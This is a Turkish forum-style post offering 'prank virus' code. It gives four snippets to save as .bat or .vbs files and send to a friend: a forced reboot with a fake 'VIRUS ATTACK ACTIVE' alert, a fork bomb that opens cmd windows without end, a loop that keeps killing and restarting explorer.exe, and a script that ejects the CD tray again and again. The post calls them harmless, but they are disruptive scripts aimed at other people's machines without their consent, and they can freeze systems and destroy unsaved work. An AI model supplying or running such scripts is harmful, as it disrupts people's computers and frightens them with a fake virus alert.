Çalışan Şaka Yapma Amaçlı Vürüs kodları

---

Evet arkadaşlar arkadaşa şaka yapmak istiyorsak Bu komutları denemelisiniz.
Notdefteri açıyoruz ve aşşağıdaki istediğiniz komutu oraya yazıyoruz

Kod:
shutdown -r -t 15 -c "VIRUS SALDIRISI AKTIF"
BU KOMUTU NOTDEFTERİNE YAPIŞTIRIP .BAT YAPIYORUZ YOLLUYOZ ADAMA VİRÜS SALDIRISI AKTİF DİYE MESAJ GELİYO 15 SANİYE SONRA RESETLENİYO BİLGİSAYARA HİÇBİRŞEY OLMUYO SADECE KORKUTMAK İÇİN TASARLANMIŞTIR.

Kod:
:m
start
goto m
BU KOMUTU NOTDEFTERİNE YAPIŞTIRIP .BAT YAPIYORUZ YOLLUYOZ YUKARIDAKİ KOMUT ARKADAŞIN BİLGİSAYARINDA BİRÜSÜRÜ CMD EKRANI AÇAR VE KORKAR HİÇBİR ZARARI YOKTUR

Kod:
:a
taskkill /F /IM explorer.exe
start explorer.exe
goto a
BU KOMUTU NOTDEFTERİNE YAPIŞTIRIP .BAT YAPIYORUZ YOLLUYOZ BU KOMUT ARKADAŞIN BİLGİSAYARININ EKRANINI Bİ KAPATIR Bİ AÇAR Bİ KAPATIR Bİ AÇAR ASLINDA ZARARI YOK SADECE EĞLENCE AMAÇLI

Kod:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
BU KOMUTU NOTDEFTERİNE YAPIŞTIRIP .vbs YAPIYORUZ YOLLUYORUZ CD-ROMU AÇILIP KAPANIYO ADAM KORKUYO VE PCYE RESET ATIYO